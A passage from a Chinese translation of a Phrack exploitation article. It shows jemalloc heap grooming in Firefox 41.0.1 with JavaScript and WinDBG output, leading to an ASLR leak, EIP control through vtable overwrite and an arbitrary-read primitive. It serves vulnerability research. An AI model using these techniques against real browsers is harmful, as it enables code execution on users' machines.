ArrayObject]              flags    initlen  capacity length    141ad200  00000000 0000001e 0000001e 0000001e    [ and its data ]    141ad210  45464645 ffffff81 47484847 ffffff81    141ad220  45464645 ffffff81 47484847 ffffff81    0:000> !py c:\\tmp\\pykd_driver jeinfo 141ad200    [shadow] address 0x141ad200    ...    [shadow] run 0x141ad000 is the current run of bin 0x00600608    [shadow] address 0x141ad200 belongs                    to region 0x141ad200 (size class 0256)

我们可以在上面看到容器ArrayObject的ArrayObject元素确实在jemalloc堆上大小为256的区域。而且,它们彼此相邻。

jemalloc风水

堆风水指的是操纵堆,目的是仔细设置它(与选定的对象)协助漏洞的利用。掌握前几节的知识,我们现在可以:
1)将我们的ArrayObject以及它们的元数据从nursery移动到jemalloc堆。
2)在jemalloc制造空洞,并触发垃圾回收使得这些空洞可以通过后续的分配进行回收。
3)回收空洞(因为jemalloc是LIFO的),并创建有用的堆排列。
假设我们在特定大小的DOM类中有堆溢出漏洞,我们可以继续实现我们的方法。 例如,我将使用具有vtable的可以从JavaScript轻松分配的典型的Firefox DOM类。 使用shadow我们可以找到这样一个DOM类,其对象的大小为256字节。

 0:000> !py c:\\tmp\\pykd_driver symbol    [shadow] usage: symbol [-vjdx] <size>    [shadow] options:    [shadow]    -v  only class symbols with vtable    [shadow]    -j  only symbols from SpiderMonkey    [shadow]    -d  only DOM symbols    [shadow]    -x  only non-SpiderMonkey symbols    0:000> !py c:\\tmp\\pykd_driver symbol -dv 256    [shadow] searching for DOM class symbols of size 256 with vtable    ...    [shadow] 0x100 (256) class mozilla::dom::SVGImageElement (vtable: yes)

继续我们在第5.1节中的内容,使用ArrayObjects喷射jemalloc堆后,我们每隔一个释放分配来创建空洞。我们也触发一个垃圾收集,使这些洞可回收。

 for(var i = 0; i < spray_size; i += 2)    {        delete(container[i]);        container[i] = null;        container[i] = undefined;    }    var gc_ret = trigger_gc();

我们用我们已经找到的示例存在漏洞的对象来填充这些空洞,即mozilla::dom::SVGImageElement。我们的假设是在这个类的某些方法中我们有一个受控(或半控制)的堆溢出。我们可以在每个对象的实例化之后触发它,或者在特定的所有对象分配后。

  for(var i = 0; i < spray_size; i += 2)    {        // SVGImageElement is a 0x100-sized object        container[i] = \        document.createElementNS("http://www.w3.org/2000/svg", "image");        // trigger the overflow bug here in all allocations, e.g.:        // container[i].some_vulnerable_method();    }    // or, trigger the overflow bug here in a specific one, e.g.:    // container[1666].some_vulnerable_method();

像以前一样使用shadow我们可以搜索受控的喷射ArrayObjects的内容,并确保我们的堆安排成功:那就是说我们ArrayObjects和SVGImageElement对象在jemalloc堆上交错且连续。jerun命令可视化输出所请求运行的区域的文本:它们的索引,是否分配(使用),地址和内容的前4个字节。

  0:000> !py c:\\tmp\\pykd_driver jerun 0x15b11000    [shadow] searching for run 0x15b11000    [shadow] [run 0x15b11000] [size 016384] [bin 0x00600608]                [region size 0256] [total regions 0063] [free regions 0000]    [shadow] [region 000] [used] [0x15b11100] [0x0]    [shadow] [region 001] [used] [0x15b11200] [0x69e0cf70]    [shadow] [region 002] [used] [0x15b11300] [0x0]    [shadow] [region 003] [used] [0x15b11400] [0x69e0cf70]    ...

上面我们可以看到,在15b11100的区域是run的第一个区域,它被分配(使用),并且它的前4个字节为零,对应于ArrayObject的标志。 在15b11200的下一个区域有一个69e0cf70的第一个dword,它是SVGImageElement的vftable指针。让我们更详细地研究一下。

 0:000> dd 15b11100 l?80    [ Metadata of ArrayObject at region 000 ]              flags    initlen  capacity length    15b11100  00000000 0000001e 0000001e 0000001e    [ Contents of the ArrayObject ]    15b11110  45464645 ffffff81 47484847 ffffff81    15b11120  45464645 ffffff81 47484847 ffffff81    ...    15b111d0  45464645 ffffff81 47484847 ffffff81    15b111e0  45464645 ffffff81 47484847 ffffff81    15b111f0  45464645 ffffff81 47484847 ffffff81    [ SVGImageElement object at region 001 ]    15b11200  69e0cf70 69e0eba0 1a590ea0 00000000    15b11210  11bfc830 00000000 00020008 00000000    15b11220  00000000 00000000 15b11200 00000000    15b11230  00000007 00000000 00090000 00000000    15b11240  69e0d1f4 00000000 00000000 00000000    15b11250  00000000 00000000 69e0bd38 00000000    ...    [ The next ArrayObject starts here, region 002]              flags    initlen  capacity length    15b11300  00000000 0000001e 0000001e 0000001e    15b11310  45464645 ffffff81 47484847 ffffff81    15b11320  45464645 ffffff81 47484847 ffffff81    ...    [ The SVGImageElement object at region 003 ]    15b11400  69e0cf70 69e0eba0 1a590ea0 00000000    ...    0:000> dds 15b11200      15b11200  69e0cf70 xul!mozilla::dom::SVGImageElement::`vftable'

我们确实设法按照我们想要的方式安排了堆。下一步是通过假定的SVGImageElement溢出错误来搜索其元数据已经损坏的ArrayObject。以下代码段假设我们已经覆盖了所有元数据(16个字节),并将0x666用作initlen,capacity和length的新值。

    var pwned_index = 0;    for(var i = 0; i < spray_size; i += 2)    {        if(container[i].length > 500)        {            var pwnstr = "[*] corrupted array found at index: " + i;            log(pwnstr);            pwned_index = i;            break;        }    }

我们损坏的ArrayObject现在允许我们将相应的JavaScript数组索引到其结尾,并进入相邻的SVGImageElement对象。 因为我们喷射了长度为30(0x1e)的数组,所以我们可以索引到SVGImageElement对象的前8个字节作为索引30处类型double的jsval(因为索引29是数组的最后一个元素)。

    0:000> dd 15b11300 l?80    [ Corrupted metadata of an ArrayObject ]              flags    initlen  capacity length    15b11300  00000000 00000666 00000666 00000666              [    index 0    ] [   index 1     ]    15b11310  45464645 ffffff81 47484847 ffffff81              [    index 2    ] [   index 3     ]    15b11320  45464645 ffffff81 47484847 ffffff81    ...    15b113c0  45464645 ffffff81 47484847 ffffff81    15b113e0  45464645 ffffff81 47484847 ffffff81              [    index 28   ] [   index 29    ]    15b113f0  45464645 ffffff81 47484847 ffffff81              [    index 30   ] [   index 31    ]    15b11400  69e0cf70 69e0eba0 1a590ea0 00000000    15b11410  11bfc830 00000000 00020008 00000000                                [   index 35    ]    15b11420  00000000 00000000 15b11400 00000000    15b11430  00000007 00000000 00090000 00000000    ...    15b114e0  e4000201 00000000 00000000 e4010301    15b114f0  06000106 00000001 00000000 e5e50000    0:000> g    [*] corrupted array found at index: 31147

xul.dll基地址泄漏和我们在内存中的位置

我们可以从上面的索引30中读取,但是请记住,因为我们正在使用一个数组来做,所以这两个32位值将被视为一个double的jsval(因为一个32位的值对应于类型的64位jsval小于0xFFFFFF80)。因此,我们需要实现两个辅助函数:一个将64位值读取为double,并将其转换为相应的原始字节(名为double_to_bytes()),另一个用于将原始字节转换为十六进制表示(名为bytes_to_hex())。从索引30读取给我们一个SVGImageElement的虚函数指针,我们只需要从xul.dll中减去已知的非ASLR指针。

    var val_hex = \        bytes_to_hex(double_to_bytes(container[pwned_index][30]));    var known_xul_addr = 0x121deba0; // 41.0.1 specific    var leaked_xul_addr = parseInt(val_hex[1], 16);    var aslr_offset = leaked_xul_addr - known_xul_addr;    var xul_base = 0x10000000 + aslr_offset;    var val_str = \        "[*] leaked xul.dll base address: 0x" + xul_base.toString(16);    log(val_str);

在上面地址为15b11428的SVGImageElement对象中,索引为35的索引为我们已损坏的数组,存在指向对象本身开始的指针(15b11400)。这样的指针存在于大多数(如果不是全部,我没有自动检查它们)Firefox DOM对象中用于垃圾回收。通过从我们损坏的数组的索引35泄漏此地址,我们可以在jemalloc堆中了解所有这些对象的位置。这可以非常有助于创建假的但有效的对象(正如我们将在下面的部分所做的)。

    val_hex = \        bytes_to_hex(double_to_bytes(container[pwned_index][35]));    val_str = "[*] victim SVGImageElement object is at: 0x" + val_hex[0];    log(val_str);

我们再次使用两个辅助函数来读取double jsvals并将其转换为十六进制。在WinDBG中,输出如下(已经为了可读性而编辑)。

  0:000> g    [*] corrupted array found at index: 31147    [*] leaked xul.dll base address: 0x67c30000    [*] victim SVGImageElement object is at: 0x15b11400    Breakpoint 0 hit    eax=002cf801 ebx=1160b8b0 ecx=00000001 edx=00000002 esi=697f1386    edi=00000000 eip=697f1386 esp=0038cce0 ebp=0038cd6c iopl=0    nv up ei pl nz na po nc    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00000202    xul!js::math_asin:    697f1386 push    ebp    0:000> lm m xul    start    end        module name    67c30000 6a162000   xul        

实际上,我们可以使用WinDBG的lm命令验证我们已经泄露了正确的xul.dll基地址。我们现在也知道我们的受害SVGImageElement对象的地址。这个的完整代码在文件归档中的svg-leak.html。

EIP控制

我们损坏的ArrayObject当然也可以用来写入内存。 为了获得EIP控制,我们可以简单地覆盖SVGImageElement对象的虚表指针,然后调用其中一个方法。我们必须添加或从泄漏的SVGImageElement对象地址中减去的确切值取决于我们调用的方法(和xul.dll的版本)。

var obj_addr = \        parseInt(val_hex[0], 16); // our location in memory, see above    var deref_addr = obj_addr - 0x1f4 + 0x4; // 41.0.1 specific    var target_eip = "41424344";    var write_val_bytes = \        hex_to_bytes(target_eip + deref_addr.toString(16));    var write_val_double = bytes_to_double(write_val_bytes);    container[pwned_index][30] = write_val_double;    log("[*] calling a method of the corrupted SVGImageElement object");    for(var i = 0; i < spray_size; i += 2)    {        container[i].setAttribute("height", "100");    }

由于我们不知道损坏的SVGImageElement对象的确切索引,所以我们调用所有我们已经喷射的对象的方法。在我们覆盖SVGImageElement的vftable之后,在WinDBG中,情况如下所示。

    0:000> dd 15b11300 l?80    [ Corrupted metadata of an ArrayObject ]              flags    initlen  capacity length    15b11300  00000000 00000666 00000666 00000666              [    index 0    ] [   index 1     ]    15b11310  45464645 ffffff81 47484847 ffffff81              [    index 2    ] [   index 3     ]    15b11320  45464645 ffffff81 47484847 ffffff81    ...    15b113c0  45464645 ffffff81 47484847 ffffff81    15b113e0  45464645 ffffff81 47484847 ffffff81              [    index 28   ] [   index 29    ]    15b113f0  45464645 ffffff81 47484847 ffffff81              [    index 30   ] [   index 31    ]    15b11400  15b11210 41424344 1a590ea0 00000000    15b11410  11bfc830 00000000 00020008 00000000                                [   index 35    ]    15b11420  00000000 00000000 15b11400 00000000    15b11430  00000007 00000000 00090000 00000000    ...    15b114e0  e4000201 00000000 00000000 e4010301    15b114f0  06000106 00000001 00000000 e5e50000    0:000> g    [*] calling a method of the corrupted SVGImageElement object    (1084.a60): Access violation - code c0000005 (first chance)    First chance exceptions are reported before any exception handling.    This exception may be expected and handled.    eax=15b11210 ebx=00000001 ecx=15b11400 edx=00000006 esi=1160b8b0    edi=15b11400 eip=41424344 esp=0032d2f0 ebp=0032d520 iopl=0    nv up ei pl zr na pe nc    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b  efl=00010246    41424344 je  41424346                                         [br=1]

我们有控制了EIP,知道xul.dll的基地址,并且可以在已知地址的堆上放置任意内容,因此,在这一点上,以任何让我们高兴的方式放置ROP非常简单。 有关完整的代码,请参阅文件svg-eip-control.html。

任意内存泄漏

虽然我们已经完全控制了Firefox进程,但我们来看看需要对jemalloc堆进行更细粒度控制的东西。为了演示如何操纵jemalloc的详细信息,我将会描述如何实现从我们选择的任何地址读取任意数量的字节的能力,即任意的内存泄漏。
为此,我将使用一个构造的(即假的)非内联字符串。为了能够从这个假的字符串读回,我还需要创建一个假的字符串类型的jsval,它指向假的非内联字符串,并通过损坏的ArrayObject对这个jsval进行索引。这种方法的问题是损坏的ArrayObject不能用于写入一个假的字符串类型的jsval(或任何其他jsval):请记住,没有对应于大于0xFFF00000的32位编码值的IEEE-754 64位双精度。这是必需的,因为为了创建一个假的jsval字符串,我们需要写ffffff85作为其标签值(参见2.1节中的字符串的讨论,如果你在这一点上感到困惑)。
因此,我们需要找到另一种在受控内存中构造假字符串类型的jsval的方式。我们可以使用的是jemalloc的可靠性和LIFO操作来创建一个更复杂的堆排列,这将有助于我们解决这个问题。具体来说,我将添加类型化的数组到方法,以利用他们完全控制的内容。尽管如我们所见,我不能将用户控制的数据中的类型数组的元数据放在内存可达到的范围内,类型数组的实际数据(被控制为字节粒度)可以放在jemalloc运行中。
我们首先用ArrayObjects喷射256大小的jemalloc run。再次,我们必须绕过nursery ,将我们的对象移动到jemalloc,所以我们的喷射的大小是16777216/256==65536个数组。

    var spray_size = 66000;    var container = new Array();    for(var i = 0; i < spray_size; i++)    {        container[i] = new Array();        for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 bytes        {            container[i][j]     = 0x45464645;            container[i][j + 1] = 0x47484847;        }    }

这一次不是每隔一个创建一个空洞,我们为jemalloc堆上的每个ArrayObject创建两个空洞。我们还引发了一个GC,使空洞可以回收。

    for(var i = 0; i < spray_size; i += 3)    {        delete(container[i]);        container[i] = null;        container[i] = undefined;        delete(container[i + 1]);        container[i + 1] = null;        container[i + 1] = undefined;    }    var gc_ret = trigger_gc();

我们假设此时我们有一个断点,看看jemalloc 256大小的run。

    0:043> !py c:\tmp\pykd_driver jeruns -s 256    [shadow] listing allocated non-current runs for size class 256    [shadow] [total non-current runs 446]    [shadow] [run 0x0e507000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0000]    ...    [shadow] [run 0x11d03000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0042]    [shadow] [run 0x15f09000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0042]    [shadow] [run 0x15f0d000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0042]    [shadow] [run 0x15f11000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0042]    [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0042]    [shadow] [run 0x15f19000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0042]    ...

随机看看这些run中的一个。

    0:000> !py c:\tmp\pykd_driver jerun 0x15f15000    [shadow] searching for run 0x15f15000    [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0042]    [shadow] [region 000] [free] [0x15f15100] [0xe5e5e5e5]    [shadow] [region 001] [free] [0x15f15200] [0xe5e5e5e5]    [shadow] [region 002] [used] [0x15f15300] [0x0]    [shadow] [region 003] [free] [0x15f15400] [0xe5e5e5e5]    [shadow] [region 004] [free] [0x15f15500] [0xe5e5e5e5]    [shadow] [region 005] [used] [0x15f15600] [0x0]    [shadow] [region 006] [free] [0x15f15700] [0xe5e5e5e5]    [shadow] [region 007] [free] [0x15f15800] [0xe5e5e5e5]    [shadow] [region 008] [used] [0x15f15900] [0x0]    [shadow] [region 009] [free] [0x15f15a00] [0xe5e5e5e5]    [shadow] [region 010] [free] [0x15f15b00] [0xe5e5e5e5]    ...

我们的制造空洞的工作起了作用。 请记住,e5e5e5e5是Firefox用于对已释放的jemalloc区域进行清理设置的值。 0x0作为其第一个dword的已使用区域是我们在堆上留下的ArrayObject。我们现在在jemalloc堆上使用一个SVGImageElement对象和每个ArrayObject之后的一个Uint32Array类型的数组来回收这些空洞。我们确保此类型数组的内容大小为256字节,因此它将在我们定位的jemalloc run中。此时,类型化数组的实际内容并不重要。

    for(var i = 0; i < spray_size; i += 3)    {        container[i] = \        document.createElementNS("http://www.w3.org/2000/svg", "image");        container[i + 1] = new Uint32Array(64);        for(var j = 0; j < 64; j++) // 64 * 4 == 256        {            container[i + 1][j] = 0x51575751;        }    }

现在,看看上面的run。

    0:000> !py c:\tmp\pykd_driver jerun 0x15f15000    [shadow] searching for run 0x15f15000    [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608]        [region size 0256] [total regions 0063] [free regions 0000]    [shadow] [region 000] [used] [0x15f15100] [0x69e0cf70]    [shadow] [region 001] [used] [0x15f15200] [0x51575751]    [shadow] [region 002] [used] [0x15f15300] [0x0]    [shadow] [region 003] [used] [0x15f15400] [0x69e0cf70]    [shadow] [region 004] [used] [0x15f15500] [0x51575751]    [shadow] [region 005] [used] [0x15f15600] [0x0]    [shadow] [region 006] [used] [0x15f15700] [0x69e0cf70]    [shadow] [region 007] [used] [0x15f15800] [0x51575751]    [shadow] [region 008] [used] [0x15f15900] [0x0]    [shadow] [region 009] [used] [0x15f15a00] [0x69e0cf70]    [shadow] [region 010] [used] [0x15f15b00] [0x51575751]    ...    [shadow] [region 014] [used] [0x15f15f00] [0x0]    [shadow] [region 015] [used] [0x15f16000] [0x69e0cf70]    [shadow] [region 016] [used] [0x15f16100] [0x51575751]    0:000> dd 0x15f15f00 l?90    [ ArrayObject ]    15f15f00  00000000 0000001e 0000001e 0000001e    15f15f10  45464645 ffffff81 47484847 ffffff81    15f15f20  45464645 ffffff81 47484847 ffffff81    15f15f30  45464645 ffffff81 47484847 ffffff81    15f15f40  45464645 ffffff81 47484847 ffffff81    15f15f50  45464645 ffffff81 47484847 ffffff81    15f15f60  45464645 ffffff81 47484847 ffffff81    15f15f70  45464645 ffffff81 47484847 ffffff81    15f15f80  45464645 ffffff81 47484847 ffffff81    15f15f90  45464645 ffffff81 47484847 ffffff81    15f15fa0  45464645 ffffff81 47484847 ffffff81    15f15fb0  45464645 ffffff81 47484847 ffffff81    15f15fc0  45464645 ffffff81 47484847 ffffff81    15f15fd0  45464645 ffffff81 47484847 ffffff81    15f15fe0  45464645 ffffff81 47484847 ffffff81    15f15ff0  45464645 ffffff81 47484847 ffffff81    [ SVGImageElement ]    15f16000  69e0cf70 69e0eba0 1652da20 00000000    15f16010  0d863c90 00000000 00020008 00000000    15f16020  00000000 00000000 15f16000 00000000    15f16030  00000007 00000000 00090000 00000000    15f16040  69e0d1f4 00000000 00000000 00000000    15f16050  00000000 00000000 69e0bd38 00000000    15f16060  69f680d4 e5e50000 69f680d4 e5e50000    15f16070  69f680d4 e5e50100 00000000 e5e5e5e5    15f16080  69e0c9d8 69e0c24c 00000000 00000000    15f16090  00000000 00000000 00000000 00000000    15f160a0  00000000 e5e5e5e5 00000000 00000000    15f160b0  00890001 e5000000 00000000 e5e5e5e5    15f160c0  00000000 00000000 e4000001 00000000    15f160d0  00000000 e4010101 00000000 00000000    15f160e0  e4000201 00000000 00000000 e4010301    15f160f0  06000106 00000001 00000000 e5e50000    [ Uint32Array contents ]    15f16100  51575751 51575751 51575751 51575751    15f16110  51575751 51575751 51575751 51575751    15f16120  51575751 51575751 51575751 51575751    15f16130  51575751 51575751 51575751 51575751    ...

我们设法创造了我们所需要的布局:我们有一个ArrayObject(具有其元数据和jsval内容),后跟一个SVGImageElement对象,后跟Uint32Array的内容。如果我们看一些其它的run(我们的目标大小256),我们可能会看到,其中一些中的布局没有成功。那就是ArrayObject后跟一个Uint32Array,然后是一个SVGImageElement对象。这种情况有时会发生,但并不影响我们。只要我们的布局在一个run中起效,我们的方法就可以适用。下面我将解释为什么一些run中错误的安排不会造成问题:只要记住它,以防你看到shadow中看到这种情况产生困惑。
接下来,我们继续在SVGImageElement方法中触发我们假定的堆溢出错误。这允许我们将数据从SVGImageElement对象覆盖到我们放置在它之后的ArrayObject(当然,在这种情况下是在这个Uint32Array之间)。然后我们像5.2节中那样找到了pwned的ArrayObject,并使用它像我们在5.3中一样泄漏我们在内存中的位置(见完整代码的归档文件中的anywhere-leak.html)。我们现在可以专注于将我们的相对泄漏转化为任意泄漏。
由于我们知道SVGImageElement对象的地址,所以我们可以计算相邻Uint32Array的地址:是它后面的0x100字节。然后,我们可以在我们喷射的每个Uint32Array的开头创建我们的假的字符串类型的jsval。这个假jsval将在Uint32Array启动后指向0x10个字节。在那里,我们将用我们想要泄漏的任意地址创建一个假的非内联字符串。所有这些的JavaScript代码如下。

// this is the leaked address of the SVGImageElement object    var obj_addr = parseInt(val_hex[0], 16);    // where we will place our fake non-inline string    var fake_jsstring_addr = obj_addr + 0x110;    // create a fake string-type jsval at the start    // of each sprayed Uint32Array object    for(var i = 0; i < spray_size; i += 3)    {        container[i + 1][0] = fake_jsstring_addr;        container[i + 1][1] = 0xffffff85;    }    // at obj_addr + 0x110, which corresponds to [64] and [65],    // we create a fake non-inline string    var read_len = "00000002"; // fake string size    write_val_bytes = hex_to_bytes(read_len + "00000049");    write_val_double = bytes_to_double(write_val_bytes);    container[pwned_index][64] = write_val_double;    // we use the base of xul.dll as the arbitrary address to    // read from, since we know that the first two bytes there    // are "MZ" in ASCII    var read_addr = xul_base.toString(16);    write_val_bytes = hex_to_bytes("00000000" + read_addr);    write_val_double = bytes_to_double(write_val_bytes);    container[pwned_index][65] = write_val_double;    // let's read from our fake string, it is at index [62]    var leaked = "[*] leaked: " + container[pwned_index][62];    log(leaked);

执行上述代码后,内存中的实际对象如下。

    0:000> dd 0x15f15f00 l?90    [ Our corrupted ArrayObject ]    15f15f00  00000000 00000666 00000666 00000666    15f15f10  45464645 ffffff81 47484847 ffffff81    15f15f20  45464645 ffffff81 47484847 ffffff81    15f15f30  45464645 ffffff81 47484847 ffffff81    15f15f40  45464645 ffffff81 47484847 ffffff81    15f15f50  45464645 ffffff81 47484847 ffffff81    15f15f60  45464645 ffffff81 47484847 ffffff81    15f15f70  45464645 ffffff81 47484847 ffffff81    15f15f80  45464645 ffffff81 47484847 ffffff81    15f15f90  45464645 ffffff81 47484847 ffffff81    15f15fa0  45464645 ffffff81 47484847 ffffff81    15f15fb0  45464645 ffffff81 47484847 ffffff81    15f15fc0  45464645 ffffff81 47484847 ffffff81    15f15fd0  45464645 ffffff81 47484847 ffffff81    15f15fe0  45464645 ffffff81 47484847 ffffff81    15f15ff0  45464645 ffffff81 47484847 ffffff81    [ Our SVGImageElement object ]    15f16000  69e0cf70 69e0eba0 1652da20 00000000    15f16010  0d863c90 00000000 00020008 00000000    15f16020  00000000 00000000 15f16000 00000000    15f16030  00000007 00000000 00090000 00000000    15f16040  69e0d1f4 00000000 00000000 00000000    15f16050  00000000 00000000 69e0bd38 00000000    15f16060  69f680d4 e5e50000 69f680d4 e5e50000    15f16070  69f680d4 e5e50100 00000000 e5e5e5e5    15f16080  69e0c9d8 69e0c24c 00000000 00000000    15f16090  00000000 00000000 00000000 00000000    15f160a0  00000000 e5e5e5e5 00000000 00000000    15f160b0  00890001 e5000000 00000000 e5e5e5e5    15f160c0  00000000 00000000 e4000001 00000000    15f160d0  00000000 e4010101 00000000 00000000    15f160e0  e4000201 00000000 00000000 e4010301    15f160f0  06000106 00000001 00000000 e5e50000    [ The contents of our Uint32Array ]              [ string jsval  ]    15f16100  15f16110 ffffff85 51575751 51575751              [ fake non-inline string          ]                       [ size ] [ addr ]    15f16110  00000049 00000002 67c30000 00000000    15f16120  51575751 51575751 51575751 51575751    15f16130  51575751 51575751 51575751 51575751

WinDBG的输出如下。

    [*] corrupted array found at index: 25649    [*] leaked xul.dll base address: 0x67c30000    [*] victim SVGImageElement object is at: 0x15f16000    [*] leaked: MZ

由于我们使用xul.dll(我们之前泄漏的)的地址作为任意地址泄漏,所以我们按预期得到MZ。在这一点上应该清楚的是,如果布局在某些jemalloc run中没有成功并不重要。 我们可以继续尝试通过我们在所有喷射的Uint32Array开始时放置的假字符串来泄漏。在布局成功的run中,我们只会从jsval中取回预期的MZ值。 在布局没有成功的run中(即Uint32Array在SVGImageElement对象之前),尝试访问索引62(我们期望我们的假字符串jsval的地方)将简单地返回一个double,因为两个双dword被解释为没有标签的IEEE-754 jsval。这并不是试图取消引用任何东西,因此不会发生崩溃。当我们终于回到MZ值时,我们可以重新使用我们的假的字符串jsval从我们想要的任何地址泄漏。

    // now we can re-use the fake string-type jsval    // to leak from another location    read_addr = "cafebabe"; // crash to demonstrate    write_val_bytes = hex_to_bytes("00000000" + read_addr);    write_val_double = bytes_to_double(write_val_bytes);    container[pwned_index][65] = write_val_double;    leaked = "[*] leaked: " + container[pwned_index][62];    log(leaked);

我们的Uint32Array现在如下所示。

    [ The contents of our Uint32Array ]              [ string jsval  ]    15f16100  15f16110 ffffff85 51575751 51575751              [ fake non-inline string          ]                        [ size ] [ addr ]    15f16110  00000049 00000002 cafebabe 00000000    15f16120  51575751 51575751 51575751 51575751    15f16130  51575751 51575751 51575751 51575751

尝试从地址cafebabe读取当然会导致崩溃(只是为了演示)。

    0:000> g    (858.f68): Access violation - code c0000005 (first chance)    First chance exceptions are reported before any exception handling.    This exception may be expected and handled.    eax=cafebac0 ebx=00000000 ecx=133bb7f4 edx=00000000 esi=00000002    edi=133bb7e0 eip=67df0192 esp=003ad120 ebp=cafebabe    iopl=0         nv up ei pl nz na po nc    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b  efl=00010202    xul!js::ConcatStrings<0>+0x178:    67df0192 mov     al,byte ptr [ebp]             ss:002b:cafebabe=??

我们终于有一个可重用的任意泄漏原语,我们也知道xul.dll的基地址。我们可以动态搜索ROP gadgets和在JavaScript中利用运行时构造我们的ROP链。

利用UAF bug

利用所提出的方法来利用UAF bug就是使用类型化的数组(Uint32Array)来回收被释放对象留下的jemalloc区域。 然后我们使用假对象的方法来覆盖相邻喷射的ArrayObject的元数据,并且我们应用给定的方法。

总结

感谢Phrack的工作人员让我写这篇文章和他们非常有帮助的评论。我的团队也提供了深刻的意见。

参考文献

这里写图片描述

源代码

https://github.com/houjingyi233/shadow-over-firefox
原文地址:http://phrack.org/issues/69/14.html

原创粉丝点击